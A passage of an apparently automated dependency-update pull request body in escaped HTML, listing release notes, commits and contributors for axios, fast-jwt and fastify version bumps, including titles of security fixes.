href=\"https://redirect.github.com/axios/axios/issues/6269\"\u003e#6269\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/5945e40bb171d4ac4fc195df276cf952244f0f89\"\u003e5945e40\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003emain field in package.json should correspond to cjs artifacts (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5756\"\u003e#5756\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/7373fbff24cd92ce650d99ff6f7fe08c2e2a0a04\"\u003e7373fbf\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epackage.json:\u003c/strong\u003e add 'bun' package.json 'exports' condition. Load the Node.js build in Bun instead of the browser build (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5754\"\u003e#5754\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/b89217e3e91de17a3d55e2b8f39ceb0e9d8aeda8\"\u003eb89217e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003esilentJSONParsing=false should throw on invalid JSON (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7257\"\u003e#7257\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/7d19335e43d6754a1a9a66e424f7f7da259895bf\"\u003e7d19335\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eturn AxiosError into a native error (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5394\"\u003e#5394\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5558\"\u003e#5558\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/1c6a86dd2c0623ee1af043a8491dbc96d40e883b\"\u003e1c6a86d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e add handlers to AxiosInterceptorManager interface (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5551\"\u003e#5551\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/8d1271b49fc226ed7defd07cd577bd69a55bb13a\"\u003e8d1271b\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e restore AxiosError.cause type from unknown to Error (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7327\"\u003e#7327\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/d8233d9e8e9a64bfba9bbe01d475ba417510b82b\"\u003ed8233d9\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eunclear error message is thrown when specifying an empty proxy authorization (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6314\"\u003e#6314\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/6ef867e684adf7fb2343e3b29a79078a3c76dc29\"\u003e6ef867e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eadd \u003ccode\u003eundefined\u003c/code\u003e as a value in AxiosRequestConfig (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5560\"\u003e#5560\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/095033c626895ecdcda2288050b63dcf948db3bd\"\u003e095033c\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadd automatic minor and patch upgrades to dependabot (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6053\"\u003e#6053\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/65a7584eda6164980ddb8cf5372f0afa2a04c1ed\"\u003e65a7584\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadd Node.js coverage script using c8 (closes \u003ca href=\"https://redirect.github.com/axios/axios/issues/7289\"\u003e#7289\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7294\"\u003e#7294\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/ec9d94e9f88da13e9219acadf65061fb38ce080a\"\u003eec9d94e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadded copilot instructions (\u003ca href=\"https://github.com/axios/axios/commit/3f83143bfe617eec17f9d7dcf8bafafeeae74c26\"\u003e3f83143\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ecompatibility with frozen prototypes (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6265\"\u003e#6265\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/860e03396a536e9b926dacb6570732489c9d7012\"\u003e860e033\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eenhance pipeFileToResponse with error handling (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7169\"\u003e#7169\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/88d78842541610692a04282233933d078a8a2552\"\u003e88d7884\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e Intellisense for string literals in a widened union (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6134\"\u003e#6134\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/f73474d02c5aa957b2daeecee65508557fd3c6e5\"\u003ef73474d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com//redirect.github.com/microsoft/TypeScript/issues/33471/issues/issuecomment-1376364329\"\u003emicrosoft/TypeScript#33471\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eReverts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;fix: silentJSONParsing=false should throw on invalid JSON (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7\"\u003e#7\u003c/a\u003e…\u0026quot; (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7298\"\u003e#7298\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/a4230f5581b3f58b6ff531b6dbac377a4fd7942a\"\u003ea4230f5\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e \u003ca href=\"https://redirect.github.com/axios/axios/issues/7\"\u003e#7\u003c/a\u003e \u003ca href=\"https://redirect.github.com/axios/axios/issues/7298\"\u003e#7298\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e bump peter-evans/create-pull-request from 7 to 8 in the github-actions group (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7334\"\u003e#7334\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/2d6ad5e48bd29b0b2b5e7e95fb473df98301543a\"\u003e2d6ad5e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors to this release\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/ashvin2005\" title=\"+1752/-4 ([#7218](https://github.com/axios/axios/issues/7218) [#7218](https://github.com/axios/axios/issues/7218) )\"\u003eAshvin Tiwari\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/mochinikunj\" title=\"+940/-12 ([#7294](https://github.com/axios/axios/issues/7294) [#7294](https://github.com/axios/axios/issues/7294) )\"\u003eNikunj Mochi\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/imanchalsingh\" title=\"+544/-102 ([#7169](https://github.com/axios/axios/issues/7169) [#7185](https://github.com/axios/axios/issues/7185) )\"\u003eAnchal Singh\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/jasonsaayman\" title=\"+317/-73 ([#7334](https://github.com/axios/axios/issues/7334) [#7298](https://github.com/axios/axios/issues/7298) )\"\u003ejasonsaayman\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/brodo\" title=\"+99/-120 ([#5558](https://github.com/axios/axios/issues/5558) )\"\u003eJulian Dax\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/AKASHDHARDUBEY\" title=\"+167/-0 ([#7287](https://github.com/axios/axios/issues/7287) [#7288](https://github.com/axios/axios/issues/7288) )\"\u003eAkash Dhar Dubey\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/madhumitaaa\" title=\"+20/-68 ([#7198](https://github.com/axios/axios/issues/7198) )\"\u003eMadhumita\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Tackoil\" title=\"+80/-2 ([#6269](https://github.com/axios/axios/issues/6269) )\"\u003eTackoil\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/justindhillon\" title=\"+41/-41 ([#6324](https://github.com/axios/axios/issues/6324) [#6315](https://github.com/axios/axios/issues/6315) )\"\u003eJustin Dhillon\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Rudrxxx\" title=\"+71/-2 ([#7257](https://github.com/axios/axios/issues/7257) )\"\u003eRudransh\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/WuMingDao\" title=\"+36/-36 ([#7215](https://github.com/axios/axios/issues/7215) )\"\u003eWuMingDao\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/codenomnom\" title=\"+70/-0 ([#7201](https://github.com/axios/axios/issues/7201) [#7201](https://github.com/axios/axios/issues/7201) )\"\u003ecodenomnom\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Nandann018-ux\" title=\"+60/-10 ([#7272](https://github.com/axios/axios/issues/7272) )\"\u003eNandan Acharya\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/KernelDeimos\" title=\"+22/-40 ([#7042](https://github.com/axios/axios/issues/7042) )\"\u003eEric Dubé\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/tiborpilz\" title=\"+40/-4 ([#5551](https://github.com/axios/axios/issues/5551) )\"\u003eTibor Pilz\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/joaoGabriel55\" title=\"+31/-4 ([#6314](https://github.com/axios/axios/issues/6314) )\"\u003eGabriel Quaresma\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/turadg\" title=\"+23/-6 ([#6265](https://github.com/axios/axios/issues/6265) )\"\u003eTuradg Aleahmad\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/29f75425f0c9f73021f5eedc869c176e30e05fe7\"\u003e\u003ccode\u003e29f7542\u003c/code\u003e\u003c/a\u003e chore(release): prepare release 1.13.5 (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7379\"\u003e#7379\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/431c3a361490a2e3d5ac5d9e08d66d4bb5f3cd2a\"\u003e\u003ccode\u003e431c3a3\u003c/code\u003e\u003c/a\u003e ci: fix run condition (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7373\"\u003e#7373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/9ff3a78ad72ecd665a4b673686f1517d824284bf\"\u003e\u003ccode\u003e9ff3a78\u003c/code\u003e\u003c/a\u003e ci: update ymls (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7372\"\u003e#7372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/265b71234c20fabbd6d691858c65a7e9c978659f\"\u003e\u003ccode\u003e265b712\u003c/code\u003e\u003c/a\u003e docs: fix deprecated Buffer constructor and formatting issues in README (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7371\"\u003e#7371\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/475e75a260668d227aec9f77735a49748c9041ff\"\u003e\u003ccode\u003e475e75a\u003c/code\u003e\u003c/a\u003e feat: add input validation to isAbsoluteURL (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57\"\u003e\u003ccode\u003e28c7215\u003c/code\u003e\u003c/a\u003e fix: Denial of Service via \u003cstrong\u003eproto\u003c/strong\u003e Key in mergeConfig (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/04cf01969ed58f96920da032f340bfe4614aab90\"\u003e\u003ccode\u003e04cf019\u003c/code\u003e\u003c/a\u003e docs: clarify object check comment (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/696fa753c5366afbd21859c294c64c9ff2b359ab\"\u003e\u003ccode\u003e696fa75\u003c/code\u003e\u003c/a\u003e fix: status is missing in AxiosError on and after v1.13.3 (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/569f028a5878faaec8d7d138ba686aac407bda4c\"\u003e\u003ccode\u003e569f028\u003c/code\u003e\u003c/a\u003e fix: added a option to choose between legacy and the new request/response int...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/44b7c9f0c4900fd8784f18e871199402f07fc69f\"\u003e\u003ccode\u003e44b7c9f\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump karma-sourcemap-loader (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7360\"\u003e#7360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/axios/axios/compare/v1.7.9...v1.13.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for axios since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fast-jwt` from 2.2.2 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.2 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/564\"\u003enearform/fast-jwt#564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/565\"\u003enearform/fast-jwt#565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.32.0 to 0.33.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/567\"\u003enearform/fast-jwt#567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: import crypto once by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/568\"\u003enearform/fast-jwt#568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: migrate to OIDC publishing for npm releases by \u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it by \u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/557\"\u003enearform/fast-jwt#557\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.31.2 to 0.32.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/558\"\u003enearform/fast-jwt#558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Add error handling section with examples by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/561\"\u003enearform/fast-jwt#561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix: error constructor in declaration file by \u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.0 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/554\"\u003enearform/fast-jwt#554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature: support negative expiresIn when signing tokens by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/556\"\u003enearform/fast-jwt#556\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.0\u003c/h2\u003e\n\u003ch2\u003eBREAKING CHANGES\u003c/h2\u003e\n\u003cp\u003eThis is a semver major release containing breaking changes to address more thoroughly the security vulnerability fixed in \u003ca href=\"https://github.com/nearform/fast-jwt/releases/tag/v5.0.6\"\u003ev5.0.6\u003c/a\u003e, which only fixed the vulnerability without introducing breaking changes.\u003c/p\u003e\n\u003cp\u003eThis release takes it one step further by adhering more closely to the \u003ca href=\"https://datatracker.ietf.org/doc/html/rfc7519\"\u003eJWT specification\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eMore specifically, verification now expects all claims except for the \u003ccode\u003eaud\u003c/code\u003e claim to be single values, instead of supporting arrays of values.\u003c/p\u003e\n\u003cp\u003eThis is a breaking change because JWTs containing claims in array format (with the exception of \u003ccode\u003eaud\u003c/code\u003e), now cause verification errors, while they were previously allowed.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.6 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/551\"\u003enearform/fast-jwt#551\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat!: align claim validation to specification by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/553\"\u003enearform/fast-jwt#553\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/986a77a7d59964ad6eebe9de5681d9134cc435b4\"\u003e\u003ccode\u003e986a77a\u003c/code\u003e\u003c/a\u003e Release v6.1.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/574\"\u003e#574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e8429c6e66597d471f05894e447862210d2f3129\"\u003e\u003ccode\u003ee8429c6\u003c/code\u003e\u003c/a\u003e feat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ad60c8353b1e9bbdcf79dd158a3636dc4dd73269\"\u003e\u003ccode\u003ead60c83\u003c/code\u003e\u003c/a\u003e chore: migrate to OIDC publishing for npm releases (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/569\"\u003e#569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4699c54de3820bb0e3d0622d3838d4e8ec98839a\"\u003e\u003ccode\u003e4699c54\u003c/code\u003e\u003c/a\u003e chore: import crypto once (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/568\"\u003e#568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b9c7bc3cfb54a007476f365b6250c20efb566231\"\u003e\u003ccode\u003eb9c7bc3\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.32.0 to 0.33.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/567\"\u003e#567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/315d44d29b5dd56a9e406f9c49a39cf864ad32ba\"\u003e\u003ccode\u003e315d44d\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/565\"\u003e#565\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/3683e00d7227d3dbc44c4f96fffd4c4a0195e5b2\"\u003e\u003ccode\u003e3683e00\u003c/code\u003e\u003c/a\u003e Release v6.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/564\"\u003e#564\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/f28ebf934ccbf894600437886248f3d147e90953\"\u003e\u003ccode\u003ef28ebf9\u003c/code\u003e\u003c/a\u003e Fix: error constructor in declaration file (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/562\"\u003e#562\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/2181bf1e218088a8b174b1f32902ebcb1ae5e335\"\u003e\u003ccode\u003e2181bf1\u003c/code\u003e\u003c/a\u003e docs: Add error handling section with examples (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/561\"\u003e#561\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/62341114debc84b676fab3cc7bbd9d30a7b36c20\"\u003e\u003ccode\u003e6234111\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.31.2 to 0.32.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/558\"\u003e#558\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v2.2.2...v6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for fast-jwt since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fastify` from 4.23.2 to 5.8.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/fastify/releases\"\u003efastify's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.8.3\u003c/h2\u003e\n\u003ch2\u003e⚠️ Security Release\u003c/h2\u003e\n\u003cp\u003eThis fixes CVE CVE-2026-3635 \u003ca href=\"https://github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf\"\u003ehttps://github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eWhat's 